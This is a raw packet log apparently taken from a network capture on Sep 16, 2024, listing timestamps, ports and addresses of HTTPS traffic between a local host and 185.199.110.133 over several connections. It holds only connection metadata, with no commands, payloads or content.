Sep 16, 2024 19:33:19.259403944 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.260225058 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265739918 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265753984 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265793085 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265850067 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265856981 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265897989 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265903950 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265913963 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265933037 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265938997 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265949965 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.265974045 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.265980959 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266002893 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266011953 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266016960 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266035080 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266150951 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266160965 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266181946 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266201019 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266279936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266285896 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266386986 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266395092 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266433954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266453981 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266458988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266463995 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266586065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266602993 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266625881 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266643047 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266653061 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266659021 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266673088 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266685963 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266733885 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266740084 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266798973 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266805887 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266860962 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266870022 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.266910076 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.266963959 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.314908028 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.314927101 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.314980030 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.315026045 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.315051079 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.315064907 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.315100908 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.315171003 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.315186977 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.315265894 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.471405029 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.472326994 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.485562086 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.485579967 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.485661983 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.485718966 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.485791922 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.485852003 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.485887051 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.638153076 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.638178110 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.638200045 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.638252020 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.638299942 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.638417959 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.638438940 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777175903 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777204037 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777215958 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777328014 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777333021 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777348995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777465105 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777470112 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777479887 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777488947 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777658939 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777723074 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777776003 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777836084 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777859926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777880907 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.777987957 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.777995110 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778008938 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778031111 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778100014 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.778105974 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778155088 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.778157949 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778165102 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.778238058 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.784276009 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.784332037 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.784375906 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.784435987 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.784504890 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.784504890 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.784542084 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.784579039 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.899446011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.900235891 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.940798044 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.940853119 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.940892935 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.941018105 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.941077948 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.941129923 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.941157103 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:19.983406067 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:19.983448982 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.119127989 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.119149923 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.119179010 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.119215965 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.119277954 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.119406939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.119406939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.219440937 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.219590902 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.235472918 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.235486984 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235496998 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235707045 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.235713005 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235740900 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235747099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235810041 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.235816002 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235826015 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235831976 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235935926 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.235940933 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235956907 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.235960007 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236083031 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236088037 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236097097 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236114979 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236130953 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236133099 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236143112 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236157894 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236224890 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236229897 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236246109 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236268044 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236272097 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236279011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236335993 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236341000 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236347914 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236372948 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236377954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236390114 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236398935 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236402988 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236459970 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236465931 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236474991 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236522913 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236530066 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236552000 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236572981 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236577034 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236587048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236609936 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236618996 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236665964 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236673117 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236690998 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236700058 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236730099 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236732960 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236761093 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236795902 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236798048 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236815929 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236819029 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236840963 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236874104 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236896038 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236916065 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236922026 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236938000 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.236955881 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236973047 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.236999035 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237003088 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237013102 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237040997 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237066031 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237082958 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237087011 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237107992 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237123966 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237139940 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237169027 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237174034 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237181902 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237202883 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237224102 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237240076 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237243891 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237262011 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237282038 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237298012 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237323999 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237328053 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237334967 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237356901 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237380981 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237404108 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237407923 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237421989 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237433910 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237452030 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237478018 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237483978 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237490892 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237514019 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237535954 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237576962 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237581968 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237590075 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237596989 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237616062 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237643957 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237648010 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237668991 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237674952 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237723112 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.237728119 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.237765074 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.256859064 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.256865978 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.256875992 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.256954908 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.256958961 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.256975889 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.256985903 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257031918 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257036924 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257061005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257066965 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257080078 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257087946 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257153988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257158995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257173061 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257189035 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257194996 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257280111 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257285118 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257292986 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257314920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257323027 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257329941 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257349014 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257416010 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257421017 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257431984 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257451057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257456064 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257460117 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257502079 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257569075 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257575989 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257590055 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257611990 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257616043 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257621050 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257652044 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257755041 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257760048 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257833004 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257833958 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257869005 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257886887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257910013 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.257961988 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.257966995 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258049011 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258086920 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258097887 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258111000 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258135080 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258243084 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258279085 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258281946 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258300066 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258331060 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258435965 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258474112 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258487940 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258501053 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258529902 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258622885 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258661032 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258676052 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258682966 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258708000 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258800983 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258841038 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258857012 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258863926 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.258888006 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.258972883 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259008884 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259021997 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259031057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259063005 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259166956 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259206057 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259221077 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259227991 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259255886 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259332895 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259377003 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259403944 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259416103 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259433031 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259581089 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259617090 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:20.259635925 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:20.259643078 CEST	443	49765	185.199.110.133	192.168.2.4
